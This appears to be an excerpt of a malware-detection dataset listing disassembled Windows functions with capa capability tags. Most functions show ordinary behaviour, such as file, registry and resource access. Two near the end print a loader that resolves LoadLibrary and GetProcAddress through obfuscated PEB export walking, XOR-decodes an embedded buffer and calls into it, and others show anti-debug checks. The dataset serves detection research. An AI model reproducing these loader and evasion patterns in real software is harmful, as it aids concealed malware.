joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409f00
Capabilities:
Check if file exists
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x444640
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [0x4571dc]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
push 0x44760c
lea ecx, [esp + 0x10]
call fcn.004018a0
lea eax, [esp + 0xc]
push eax
mov ecx, esi
mov dword [esp + 0x1c], 0
call fcn.004080c0
test eax, eax
jne 0x409f87
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
mov dword [esp + 0x18], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x409f74
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x14
ret
push 0x44760c
lea ecx, [esp + 0xc]
call fcn.004018a0
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esp + 0xc]
mov byte [esp + 0x1c], 1
call fcn.00401770
push 1
push 0x44764c
lea ecx, [esp + 0x10]
call fcn.004024f0
push 0xe
push str.CpmDistMan.lnk
lea ecx, [esp + 0x10]
call fcn.004024f0
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x409fe6
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, eax
jmp 0x409feb
mov esi, 1
mov eax, dword [esp + 8]
add eax, 0xfffffff0
mov byte [esp + 0x18], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40a010
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
mov dword [esp + 0x18], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40a038
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x14
ret
Function at 0x40f7c0
Capabilities:
Parse credit card information

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x4c]
xor al, al
cmp ecx, 0xffff
je 0x40f94e
push ebx
cmp ecx, 0x7c
je 0x40f94d
cmp ecx, 0x29
jne 0x40f806
cmp dword [esi + 0x1c], 0
jne 0x40f94d
mov eax, 0x10000000
test dword [esi + 0x50], eax
jne 0x40f80b
push 5
call fcn.0044318d
add esp, 4
jmp 0x40f935
mov eax, 0x10000000
cmp ecx, 0x2e
jne 0x40f875
push 0x14
call fcn.00418136
add esp, 4
test eax, eax
je 0x40f842
mov dword [eax], vtable.std::tr1::_Node_base.0
mov dword [eax + 4], 5
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov dword [eax + 0x10], 0
jmp 0x40f844
xor eax, eax
mov ecx, dword [esi + 0x28]
mov dword [eax + 0x10], ecx
mov edx, dword [esi + 0x28]
mov ecx, dword [edx + 0xc]
test ecx, ecx
je 0x40f860
mov dword [eax + 0xc], ecx
mov ecx, dword [esi + 0x28]
mov edx, dword [ecx + 0xc]
mov dword [edx + 0x10], eax
mov ecx, dword [esi + 0x28]
mov dword [ecx + 0xc], eax
mov ecx, esi
mov dword [esi + 0x28], eax
call fcn.00406d60
jmp 0x40f935
cmp ecx, 0x5c
jne 0x40f8d9
mov ecx, esi
call fcn.00406d60
mov eax, dword [esi + 0x50]
and eax, 0x80
je 0x40f8a8
cmp word [esi + 0x4a], 0x62
jne 0x40f8a8
push 4
lea ecx, [esi + 0x24]
call fcn.00404b50
mov ecx, esi
call fcn.00406d60
jmp 0x40f93c
test eax, eax
je 0x40f8d0
cmp word [esi + 0x4a], 0x42
jne 0x40f8d0
push 4
lea ecx, [esi + 0x24]
call fcn.00404b50
mov eax, dword [esi + 0x28]
or dword [eax + 8], 1
add eax, 8
mov ecx, esi
call fcn.00406d60
jmp 0x40f93c
mov ecx, esi
call fcn.0040d530
jmp 0x40f935
cmp ecx, 0x5b
jne 0x40f905
mov ecx, esi
call fcn.00406d60
mov ecx, esi
call fcn.0040f690
cmp dword [esi + 0x4c], 0x5d
je 0x40f8fc
push 4
call fcn.0044318d
add esp, 4
mov ecx, esi
call fcn.00406d60
jmp 0x40f935
cmp ecx, 0x28
jne 0x40f950
mov ecx, esi
call fcn.00406d60
mov ecx, esi
call fcn.00406ea0
cmp dword [esi + 0x4c], 0x29
mov bl, al
je 0x40f92a
push 5
call fcn.0044318d
add esp, 4
mov ecx, esi
call fcn.00406d60
test bl, bl
je 0x40f93c
mov ecx, esi
call fcn.0040c440
mov ecx, dword [esi + 0x4c]
mov al, 1
cmp ecx, 0xffff
jne 0x40f7d5
pop ebx
pop esi
ret
cmp ecx, 0x5e
jne 0x40f968
push 2
lea ecx, [esi + 0x24]
call fcn.00404b50
mov ecx, esi
call fcn.00406d60
jmp 0x40f93c
cmp ecx, 0x24
jne 0x40f980
push 3
lea ecx, [esi + 0x24]
call fcn.00404b50
mov ecx, esi
call fcn.00406d60
jmp 0x40f93c
cmp ecx, 0x2a
je 0x40f9dc
cmp ecx, 0x2b
je 0x40f9dc
cmp ecx, 0x3f
je 0x40f9dc
cmp ecx, 0x7b
je 0x40f9dc
cmp ecx, 0x7d
jne 0x40f9aa
test dword [esi + 0x50], eax
jne 0x40f9aa
push 6
call fcn.0044318d
add esp, 4
jmp 0x40f935
cmp ecx, 0x5d
jne 0x40f9c3
test dword [esi + 0x50], eax
jne 0x40f9c3
push 4
call fcn.0044318d
add esp, 4
jmp 0x40f935
movzx edx, word [esi + 0x4a]
push edx
lea ecx, [esi + 0x24]
call fcn.0040bc10
mov ecx, esi
call fcn.00406d60
jmp 0x40f935
push 0xa
call fcn.0044318d
add esp, 4
jmp 0x40f935
Function at 0x4122f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.0041bddc
Function at 0x415090
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x44557f
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4571dc]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
mov edi, dword [esp + 0x20]
mov eax, dword [edi]
sub eax, 0x10
push eax
call fcn.00401380
add eax, 0x10
mov dword [esi], eax
mov eax, dword [edi + 4]
sub eax, 0x10
push eax
mov dword [esp + 0x20], 0
call fcn.00401380
add eax, 0x10
mov dword [esi + 4], eax
mov eax, dword [edi + 8]
mov dword [esi + 8], eax
mov eax, dword [edi + 0xc]
sub eax, 0x10
push eax
mov byte [esp + 0x24], 1
call fcn.00401380
add eax, 0x10
mov dword [esi + 0xc], eax
mov ecx, dword [edi + 0x10]
mov dword [esi + 0x10], ecx
mov edx, dword [edi + 0x14]
mov dword [esi + 0x14], edx
mov eax, dword [edi + 0x18]
sub eax, 0x10
push eax
mov byte [esp + 0x28], 2
call fcn.00401380
add eax, 0x10
mov dword [esi + 0x18], eax
mov eax, dword [edi + 0x1c]
sub eax, 0x10
push eax
mov byte [esp + 0x2c], 3
call fcn.00401380
add eax, 0x10
mov dword [esi + 0x1c], eax
mov eax, dword [edi + 0x20]
sub eax, 0x10
push eax
mov byte [esp + 0x30], 4
call fcn.00401380
add eax, 0x10
mov dword [esi + 0x20], eax
mov eax, dword [edi + 0x24]
sub eax, 0x10
push eax
mov byte [esp + 0x34], 5
call fcn.00401380
add esp, 0x1c
add eax, 0x10
mov dword [esi + 0x24], eax
mov eax, dword [edi + 0x28]
mov dword [esi + 0x28], eax
mov ecx, dword [edi + 0x2c]
mov dword [esi + 0x2c], ecx
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret 4

Function at 0x4151a0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x4455df
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x4571dc]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
mov eax, dword [esp + 0x1c]
push eax
call fcn.004018a0
mov ecx, dword [esp + 0x20]
push ecx
lea ecx, [esi + 4]
mov dword [esp + 0x18], 0
call fcn.004018a0
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push eax
lea ecx, [esi + 0xc]
mov byte [esp + 0x18], 1
mov dword [esi + 8], edx
call fcn.004018a0
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0x30]
mov dword [esi + 0x10], ecx
push eax
lea ecx, [esi + 0x18]
mov byte [esp + 0x18], 2
mov dword [esi + 0x14], edx
call fcn.004018a0
mov ecx, dword [esp + 0x38]
push ecx
lea ecx, [esi + 0x1c]
mov byte [esp + 0x18], 3
call fcn.004018a0
mov edx, dword [esp + 0x3c]
push edx
lea ecx, [esi + 0x20]
mov byte [esp + 0x18], 4
call fcn.004018a0
mov eax, dword [esp + 0x40]
push eax
lea ecx, [esi + 0x24]
mov byte [esp + 0x18], 5
call fcn.004018a0
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x48]
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], edx
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret 0x30
Function at 0x4162c0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
push esi
lea eax, [esp + 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.SOFTWAREMicrosoftNET_Framework_SetupNDP_v3.0
push 0x80000002
mov dword [esp + 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, esi
jne 0x41632b
mov eax, dword [esp + 4]
push edi
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push esi
push esi
push 0x448984
push eax
mov dword [esp + 0x28], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [esp + 8]
push ecx
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, esi
pop edi
jne 0x41632b
mov eax, 1
cmp dword [esp + 8], eax
je 0x41632d
mov eax, esi
pop esi
add esp, 0xc
ret

Function at 0x416340
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
push esi
lea eax, [esp + 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
mov dword [esp + 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, esi
jne 0x4163ab
mov eax, dword [esp + 4]
push edi
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push esi
push esi
push str.EnableLUA
push eax
mov dword [esp + 0x28], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [esp + 8]
push ecx
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, esi
pop edi
jne 0x4163ab
mov eax, 1
cmp dword [esp + 8], eax
je 0x4163ad
mov eax, esi
pop esi
add esp, 0xc
ret
Function at 0x416410
Capabilities:
Get hostname

Disassembly:
push 0xffffffffffffffff
push 0x4457c8
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x4571dc]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
lea eax, [esp + 0x10]
push eax
push 0
push 7
mov dword [esp + 0x1c], 0
call esi
mov eax, dword [esp + 0x10]
xor ecx, ecx
inc eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00418165
mov edi, eax
mov eax, dword [esp + 0x14]
lea ecx, [eax + eax + 2]
push ecx
push 0
push edi
call fcn.00428a10
add esp, 0x10
lea edx, [esp + 0x10]
push edx
push edi
push 7
call esi
mov ebx, eax
test ebx, ebx
je 0x416521
test edi, edi
jne 0x41649a
xor eax, eax
jmp 0x4164af
mov eax, edi
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4164a0
sub eax, edx
sar eax, 1
mov esi, dword [esp + 0x24]
push eax
push edi
mov ecx, esi
call fcn.00401610
mov eax, dword [esi]
cmp dword [eax - 0xc], 0
jl 0x416521
push 0x447b04
push eax
call fcn.00428c4f
add esp, 8
test eax, eax
je 0x416521
sub eax, dword [esi]
sar eax, 1
js 0x416521
push eax
lea eax, [esp + 0x28]
push eax
mov ecx, esi
call fcn.00402470
push eax
mov ecx, esi
mov dword [esp + 0x20], 0
call fcn.00401770
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
mov dword [esp + 0x1c], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x416521
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push edi
call fcn.00418170
add esp, 4
mov eax, ebx
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4

Function at 0x416c30
Capabilities:
Read .ini file

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
or edi, 0xffffffff
mov dword [esp + 0x10], ecx
xor ebp, ebp
mov edi, edi
add ebp, 0x800
push ebp
add edi, 0x400
call fcn.004288b0
mov esi, eax
add esp, 4
test esi, esi
je 0x416cc7
push ebp
push 0
push esi
call fcn.00428a10
mov eax, dword [esp + 0x1c]
mov eax, dword [eax]
mov edx, dword [esp + 0x30]
add esp, 0xc
push eax
mov eax, dword [esp + 0x20]
lea ecx, [edi + 1]
push ecx
mov ecx, dword [esp + 0x20]
push esi
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov ebx, eax
cmp edi, ebx
je 0x416cad
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x416c93
mov ecx, dword [esp + 0x20]
sub eax, edx
sar eax, 1
push eax
push esi
call fcn.00401610
push esi
call fcn.0042897a
add esp, 4
cmp edi, ebx
je 0x416c40
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret 0x10
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret 0x10
Function at 0x416ce0
Capabilities:
Access peb ldr_data
Check for peb ntglobalflag flag
Get kernel32 base address
Get number of processors
Get process heap flags
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x445a50
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4571dc]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
call fcn.004185a7
xor ecx, ecx
xor edi, edi
cmp eax, edi
setne cl
cmp ecx, edi
jne 0x416d25
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esi], eax
push 0x44760c
lea ecx, [esi + 4]
mov dword [esp + 0x1c], edi
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 8]
mov byte [esp + 0x1c], 1
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0xc]
mov byte [esp + 0x1c], 2
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x10]
mov byte [esp + 0x1c], 3
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x14]
mov byte [esp + 0x1c], 4
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x18]
mov byte [esp + 0x1c], 5
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x1c]
mov byte [esp + 0x1c], 6
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x20]
mov byte [esp + 0x1c], 7
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x28]
mov byte [esp + 0x1c], 8
mov dword [esi + 0x24], edi
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x2c]
mov byte [esp + 0x1c], 9
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x30]
mov byte [esp + 0x1c], 0xa
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x3c]
mov byte [esp + 0x1c], 0xb
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x40]
mov byte [esp + 0x1c], 0xc
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x44]
mov byte [esp + 0x1c], 0xd
call fcn.004018a0
mov byte [esp + 0x18], 0xe
push 0x44760c
lea ecx, [esi + 0x48]
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x4c]
mov byte [esp + 0x1c], 0xf
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x60]
mov byte [esp + 0x1c], 0x10
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x64]
mov byte [esp + 0x1c], 0x11
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x68]
mov byte [esp + 0x1c], 0x12
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x6c]
mov byte [esp + 0x1c], 0x13
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x70]
mov byte [esp + 0x1c], 0x14
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x74]
mov byte [esp + 0x1c], 0x15
call fcn.004018a0
push 0x44760c
lea ecx, [esi + 0x78]
mov byte [esp + 0x1c], 0x16
call fcn.004018a0
lea edi, [esi + 0x7c]
mov ecx, edi
mov byte [esp + 0x18], 0x17
call fcn.004128a0
mov ecx, edi
mov byte [esp + 0x18], 0x18
call fcn.00412010
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret
Function at 0x4219d9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x421a20
call fcn.004233e2
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x421a20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x421a3c
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00421551
mov esi, eax
test edi, edi
je 0x421a3a
test ebx, ebx
je 0x421a3a
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x428852
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4571dc]
jne 0x42885c
repz ret
jmp fcn.0043091c

Function at 0x43ad60
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0042f215
and dword [ebp - 4], 0
cmp dword [0x45b2bc], 0
mov ebx, eax
jne 0x43ae11
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x43aec2
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x43aec2
push eax
call fcn.0042f1a3
mov dword [esp], 0x44bfc8
push edi
mov dword [0x45b2bc], eax
call esi
push eax
call fcn.0042f1a3
mov dword [esp], 0x44bfb4
push edi
mov dword [0x45b2c0], eax
call esi
push eax
call fcn.0042f1a3
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45b2c4], eax
call esi
push eax
call fcn.0042f1a3
pop ecx
mov dword [0x45b2cc], eax
test eax, eax
je 0x43ae11
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0042f1a3
pop ecx
mov dword [0x45b2c8], eax
mov eax, dword [0x45b2c8]
cmp eax, ebx
je 0x43ae69
cmp dword [0x45b2cc], ebx
je 0x43ae69
push eax
call fcn.0042f21e
push dword [0x45b2cc]
mov esi, eax
call fcn.0042f21e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x43ae69
test edi, edi
je 0x43ae69
call esi
test eax, eax
je 0x43ae60
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x43ae60
test byte [ebp - 0xc], 1
jne 0x43ae69
or dword [ebp + 0x10], 0x200000
jmp 0x43aea2
mov eax, dword [0x45b2c0]
cmp eax, ebx
je 0x43aea2
push eax
call fcn.0042f21e
pop ecx
test eax, eax
je 0x43aea2
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x43aea2
mov eax, dword [0x45b2c4]
cmp eax, ebx
je 0x43aea2
push eax
call fcn.0042f21e
pop ecx
test eax, eax
je 0x43aea2
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45b2bc]
call fcn.0042f21e
pop ecx
test eax, eax
je 0x43aec2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x43aec4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x2d1dd0
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x312318], 0
push ebx
push esi
push edi
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
je 0x2d1e03
cmp dword [0x312314], 0
jne 0x2d1ee0
xor ebx, ebx
mov edi, dword fs:[ebx + 0x30]
mov edi, dword [edi + 0xc]
mov eax, dword [edi + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov edi, eax
add edi, dword [eax + 0x3c]
mov edx, dword [edi + 0x78]
add edx, eax
mov edi, dword [edx + 0x20]
add edi, eax
push ebp
mov ebp, ebx
mov esi, dword [edi + ebp*4]
add esi, eax
inc ebp
push ebx
push ecx
mov ecx, 0x64616f4e
sub ecx, 2
dec ecx
mov ebx, ecx
pop ecx
add ebx, 1
cmp dword [esi], ebx
pop ebx
jne 0x2d1e28
push ebx
pushal
or ch, ch
sbb ax, 0x2a
popal
mov ebx, 0x41797262
sub ebx, 2
add ebx, 1
cmp dword [esi + 8], ebx
pop ebx
jne 0x2d1e28
mov edi, dword [edx + 0x24]
add edi, eax
mov bp, word [edi + ebp*2]
mov edi, dword [edx + 0x1c]
add edi, eax
sub ebp, 1
mov edi, dword [edi + ebp*4]
add edi, eax
pop ebp
mov dword [0x312318], edi
xor ebx, ebx
mov edi, dword fs:[ebx + 0x30]
mov edi, dword [edi + 0xc]
mov eax, dword [edi + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov edi, eax
add edi, dword [eax + 0x3c]
mov edx, dword [edi + 0x78]
add edx, eax
mov edi, dword [edx + 0x20]
add edi, eax
push ebp
mov ebp, ebx
mov esi, dword [edi + ebp*4]
add esi, eax
inc ebp
push eax
mov eax, 0x50746546
add eax, 1
cmp dword [esi], eax
pop eax
jne 0x2d1ea0
push ebx
mov ebx, 0x73736571
add ebx, 1
cmp dword [esi + 0xa], ebx
pop ebx
jne 0x2d1ea0
mov edi, dword [edx + 0x24]
add edi, eax
mov bp, word [edi + ebp*2]
mov edi, dword [edx + 0x1c]
add edi, eax
sub ebp, 1
mov edi, dword [edi + ebp*4]
add edi, eax
pop ebp
mov dword [0x312314], edi
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [0x312318]
call eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [0x312314]
call eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x2d1fe0
Capabilities:
Create thread
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x2e4075
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x2ee010]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
push 0x3b9aca00
call fcn.002d78a2
add esp, 4
test eax, eax
je 0x2d21b5
push 0x3b9aca00
push 0xd5
push eax
call fcn.002d4870
add esp, 0xc
mov edx, 0x2ebc24
mov ecx, 0x2ebc44
call fcn.002d1dd0
mov edx, str.quz_bo
mov ecx, 0x2ebc64
mov edi, eax
call fcn.002d1dd0
push 0
mov esi, eax
call edi
push eax
call esi
xor edx, edx
mov eax, edx
and eax, 3
mov al, byte [eax + str.quz_pe]
xor byte [edx + str..CRT_XIZ], al
inc edx
cmp edx, 0x22400
jb 0x2d2060
push 4
call fcn.002d329a
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [eax], 0x2d1310
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 0
push ecx
push 0
push eax
push 0x2d1940
push 0
push 0
call fcn.002d61bb
add esp, 0x18
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x2d21d3
mov dword [ebp - 4], 1
cmp dword [ebp - 0x18], 0
je 0x2d21e1
call fcn.002d2c14
mov ecx, dword [ebp - 0x18]
cmp ecx, eax
je 0x2d21e8
push 0
push ecx
push dword [ebp - 0x1c]
call fcn.002d2c1a
add esp, 0xc
test eax, eax
jne 0x2d21ef
push 5
xorps xmm0, xmm0
mov dword [ebp - 0x34], eax
push 0x2ebbac
lea ecx, [ebp - 0x34]
movlpd qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0xf
call fcn.002d2310
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
mov byte [eax + 3], 0x41
mov ecx, dword [ebp - 0x20]
cmp ecx, 0x10
jb 0x2d2155
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x2d214b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2d21f6
push ecx
push edx
call fcn.002d32ca
add esp, 8
xor edx, edx
nop word [eax + eax]
mov eax, edx
and eax, 3
mov al, byte [eax + str.quz_pe]
xor byte [edx + 0x310ce0], al
inc edx
cmp edx, 0x77e
jb 0x2d2160
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], 0
jne 0x2d21fb
call fcn.002d1f20
mov dword [ebp - 0x14], 0x310e62
mov edx, str..CRT_XIZ
push edx
xor edx, edx
mov edi, edx
push 0
lea esi, [0x2ee8d0]
push esi
mov edx, dword [esp]
mov edx, dword [edx]
pop esi
push edx
pop esi
push esi
mov eax, dword [ebp - 0x14]
dec eax
call eax
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.002d328c
mov esp, ebp
pop ebp
ret
push 6
mov dword [ebp - 0x18], 0
call fcn.002d29af
push 1
call fcn.002d29af
push 5
call fcn.002d29af
push 2
call fcn.002d29af
call fcn.002d7851
call fcn.002d7659
int3

Function at 0x2d3810
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [0x2e5028]
test eax, eax
je 0x2d384f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x2d384f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x2d384f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x2d384f
cmp dword [ecx + 0x74], 0xe
jbe 0x2d384f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret